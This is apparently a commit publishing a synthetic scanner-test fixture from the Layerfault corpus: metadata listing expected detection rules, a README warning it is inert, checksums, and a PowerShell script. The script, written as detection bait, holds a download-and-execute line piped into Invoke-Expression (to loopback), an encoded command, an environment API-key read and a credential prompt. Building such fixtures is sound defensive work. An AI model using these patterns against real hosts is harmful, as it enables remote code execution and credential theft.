Publish Layerfault synthetic corpus LF-CORPUS-PS-0001

LAYERFAULT_CORPUS.json

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+{
+  "candidate_rules": [
+    "LF-PS-DOWNLOAD",
+    "LF-PS-ENCODED-COMMAND",
+    "LF-PS-INVOKE-EXPRESSION"
+  ],
+  "corpus_id": "LF-CORPUS-PS-0001",
+  "description": "PowerShell package with synthetic credential access, dynamic code, loopback download/execute syntax, native load, process, encoded command and package-install syntax.",
+  "expected_rules": [
+    "LF-PS-SEMANTIC-CREDENTIAL-ACCESS",
+    "LF-PS-SEMANTIC-DOWNLOAD-EXECUTE",
+    "LF-PS-SEMANTIC-DYNAMIC-CODE",
+    "LF-PS-SEMANTIC-NATIVE-LOAD",
+    "LF-PS-SEMANTIC-NETWORK",
+    "LF-PS-SEMANTIC-PACKAGE-INSTALL",
+    "LF-PS-SEMANTIC-PROCESS"
+  ],
+  "generator": "packages.powershell_chain",
+  "ground_truth": "synthetic-generated",
+  "must_not_rules": [],
+  "repo_name": "powershell-capability-chain",
+  "repo_type": "model",
+  "safety": "inert/canary-only",
+  "schema": 1,
+  "validation": {
+    "kind": "verify-package",
+    "target": "."
+  }
+}

README.md

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+---
+license: apache-2.0
+tags:
+- layerfault
+- security-research
+- model-security
+- synthetic
+- adversarial-testing
+extra_gated_prompt: >-
+  This repository is a synthetic security-test artifact from the Layerfault
+  corpus. It intentionally contains adversarial characteristics (e.g.
+  suspicious pickle opcodes, executable-format smuggling, prompt-injection
+  strings) designed to exercise security scanner detection rules. It is
+  **not** a usable ML model and must never be loaded or executed outside an
+  isolated scanner-testing environment. By accepting, you confirm you
+  understand this repository is a test fixture, not production model
+  weights.
+extra_gated_button_content: I understand this is a security test fixture and accept the risk
+gated: auto
+---
+
+# powershell-capability-chain
+
+> **SECURITY TEST ARTIFACT — DO NOT USE AS A PRODUCTION MODEL**
+
+This repository is part of the Layerfault synthetic security corpus.
+It is deliberately constructed to contain security-relevant characteristics for scanner testing.
+
+**Corpus ID:** `LF-CORPUS-PS-0001`
+
+## Purpose
+
+PowerShell package with synthetic credential access, dynamic code, loopback download/execute syntax, native load, process, encoded command and package-install syntax.
+
+## Direct expected Layerfault rules
+
+- `LF-PS-SEMANTIC-CREDENTIAL-ACCESS`
+- `LF-PS-SEMANTIC-DOWNLOAD-EXECUTE`
+- `LF-PS-SEMANTIC-DYNAMIC-CODE`
+- `LF-PS-SEMANTIC-NATIVE-LOAD`
+- `LF-PS-SEMANTIC-NETWORK`
+- `LF-PS-SEMANTIC-PACKAGE-INSTALL`
+- `LF-PS-SEMANTIC-PROCESS`
+
+## Candidate rules
+
+These are deliberately plausible targets that remain marked as candidates until the exact
+Layerfault build used for certification confirms them.
+
+- `LF-PS-DOWNLOAD`
+- `LF-PS-ENCODED-COMMAND`
+- `LF-PS-INVOKE-EXPRESSION`
+
+## Negative-control rules
+
+These should remain silent for this corpus item.
+
+- None
+
+## Safety
+
+The corpus uses fake secrets, loopback/`.invalid` network destinations, harmless marker output,
+and synthetic model behavior only. It is intended for static scanning and isolated security testing.

SHA256SUMS.json

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+[
+  {
+    "path": "LAYERFAULT_CORPUS.json",
+    "sha256": "525a4fbcaeb56f4e7bbade6429c2a8bd15d9223998d95f43266594f062194e2d",
+    "size": 905
+  },
+  {
+    "path": "README.md",
+    "sha256": "906590e1e606fd627f0277997dacb129546beef820166c10e1355ec7b19a5798",
+    "size": 2043
+  },
+  {
+    "path": "model.safetensors",
+    "sha256": "d2ca18b298651a52fc6fc6d7cf90df5a4b05586832277686f5681ee524af58b0",
+    "size": 856
+  },
+  {
+    "path": "security.ps1",
+    "sha256": "a5afa9a44029ae068594883b430b03666e4988dd965cbf5f7daff09778500275",
+    "size": 565
+  }
+]

model.safetensors

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+version https://git-lfs.github.com/spec/v1
+oid sha256:d2ca18b298651a52fc6fc6d7cf90df5a4b05586832277686f5681ee524af58b0
+size 856

security.ps1

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+$fake = $env:LAYERFAULT_SYNTHETIC_API_KEY
+Invoke-Expression "'LAYERFAULT_CANARY'"
+Invoke-WebRequest -Uri "http://127.0.0.1:9" | Invoke-Expression
+Invoke-WebRequest -Uri "http://127.0.0.1:9/status"
+Start-Process -FilePath "cmd.exe" -ArgumentList "/c echo LAYERFAULT_CANARY"
+Add-Type -TypeDefinition "public class LayerfaultSyntheticNative {}"
+Get-Credential -Message "layerfault synthetic canary"
+powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAEwAQQBZAEUAUgBGAEEAVQBMAFQAXwBDAEEATgBBAFIAWQAnAA==
+Install-Module -Name LayerfaultSynthetic -WhatIf